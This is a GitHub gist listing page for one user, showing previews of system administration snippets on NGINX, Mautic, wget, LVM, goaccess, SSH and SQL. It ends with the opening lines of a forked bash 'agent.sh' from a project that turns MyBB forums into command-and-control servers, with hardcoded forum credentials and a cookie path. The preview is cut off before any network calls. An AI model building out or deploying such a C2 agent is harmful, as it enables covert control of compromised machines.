Skip to content

Instantly share code, notes, and snippets.

@githubcom13
githubcom13 / gist:74798dc7ab846d970e1a2709aefd01c1
Created April 28, 2023 03:22
Solution for NGINX error 404 and "FastCGI sent in stderr: "Primary script unknown" while reading response header from upstream, client:"
add the line fastcgi_param
root /var/html/www/my-website
location ~ \.php$ {
# return 200 $document_root$fastcgi_script_name; // uncomment and download the php file and read the link inside the file. Make the necessary corrections
# fastcgi_param SCRIPT_FILENAME /var/html/www/my-website/$fastcgi_script_name;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
}
@githubcom13
githubcom13 / readme.md
Last active June 6, 2023 01:09
Add Webhook Postmark support

I finished coding Webhook Postmark support.

Event webhooks (Bounce, Spam plain, SubscriptionChange) from Postmark to Mautic are supported with this change.

I'm using this code in production with Mautic 4.4.2 and it works like a charm.

I share here the portions of code to modify, I hope it will be useful to someone:

in file: /mautic/app/bundles/EmailBundle/Config/config.php

@githubcom13
githubcom13 / readme.md
Last active August 20, 2022 19:49
To Make an Offline Copy of a Website with Wget

To Make an Offline Copy of a Website with Wget

Advanced wget website mirroring

From time to time there is a need to prepare the complete copy of the website to share it with someone or to archive it for further offline viewing. Such an archive should contain anything that is visible on the site. This includes CSS style sheets, images, also attached documents such as PDF files. One of the useful tools to achieve this is wget – an application to retrieve files through HTTP, HTTPS, FTP, FTPS protocols. This is a very powerful tool, yet it requires some knowledge to take advantage of its possibilities.

“Basic” wget usage

The most common statement we are using to mirror the whole website is:

wget --mirror --convert-links --adjust-extension --page-requisites  http://www.mywebsite.com/
<?php
$b64 = '';
if ( !function_exists ( 'file_get_contents' ) )
{
function file_get_contents ( $file )
{
$fp = @fopen ( $file, 'rb' );
if ( !$fp ) exit ( 'Unable to open ' . $file );
$data = fread ( $fp, filesize ( $file ) );
fclose ( $fp );

Ikoula Monter des partitions sous Linux

Lors de l'utilisation de vote serveur dédié, vous pourrez êtres amenés à démarrer votre serveur sur système de secours (netboot).

Si l’on souhaite accéder à une partition LVM , sans manipulation, il n’est pas possible d’y accéder.

Voici donc les lignes de commandes à exécuter en mode secours :

Scan de la partition LVM :

sudo vgscan
@githubcom13
githubcom13 / Create_new_folder_for_each_file.md
Last active August 17, 2021 22:34
Create new folder for each file - Linux/MacOs

Create a folder based on the filename, but exclude the extension, then move the original item with the same name into the folder.

before:

Folder
|- File1.ext
|- File2.ext
|- File3.ext
|- File4.ext
@githubcom13
githubcom13 / goaccess.service
Created June 16, 2020 14:07 — forked from virtualdreams/goaccess.service
goaccess systemd service
[Unit]
Description=Goaccess Web log report.
After=network.target
[Service]
Type=simple
User=root
Group=root
Restart=always
ExecStart=/usr/local/bin/goaccess -a -g -f /var/log/nginx/access.log -o /srv/www/goaccess/index.html --real-time-html --ws-url <your url>
After a reboot, i can no longer connect to my Debian 10 server in SSH.
I receive the following error message: Socket is closed: Socket closed by remote peer
The identifier/password are correct (i don't use a key), I tried with Putty, ZenTermLite and Filezilla clients in sFTP mode.
# log filezilla
Status: Connecting to xx.xx.xx.xx...
Response: fzSftp started, protocol_version=9
Command: open "root@xx.xx.xx.xx" 22
@githubcom13
githubcom13 / gist:7bb60e0fb863de6151879e3f3f071336
Created June 10, 2020 16:39
Working with Email Addresses in SQL
/// QUERY - Checking if an email address if valid ///
SELECT email,
email REGEXP '^[A-Za-z0-9._%\-+!#$&/=?^|~]+@[A-Za-z0-9.-]+[.][A-Za-z]+$' AS valid_email
FROM email_table
/// RESULT ///
email | valid_email
@githubcom13
githubcom13 / agent.sh
Created June 8, 2020 19:16 — forked from tokyoneon/agent.sh
MyCC - turn MyBB forums into C&C servers
#!/bin/bash
# https://null-byte.com/turn-forums-into-c-c-servers-0196708/
while true; do
forumUser="tokyoneon";
username="tokyoneon@email.com";
password="treHGFd76547^%$";
cookies='/tmp/forum_cookies';
function urlencode ()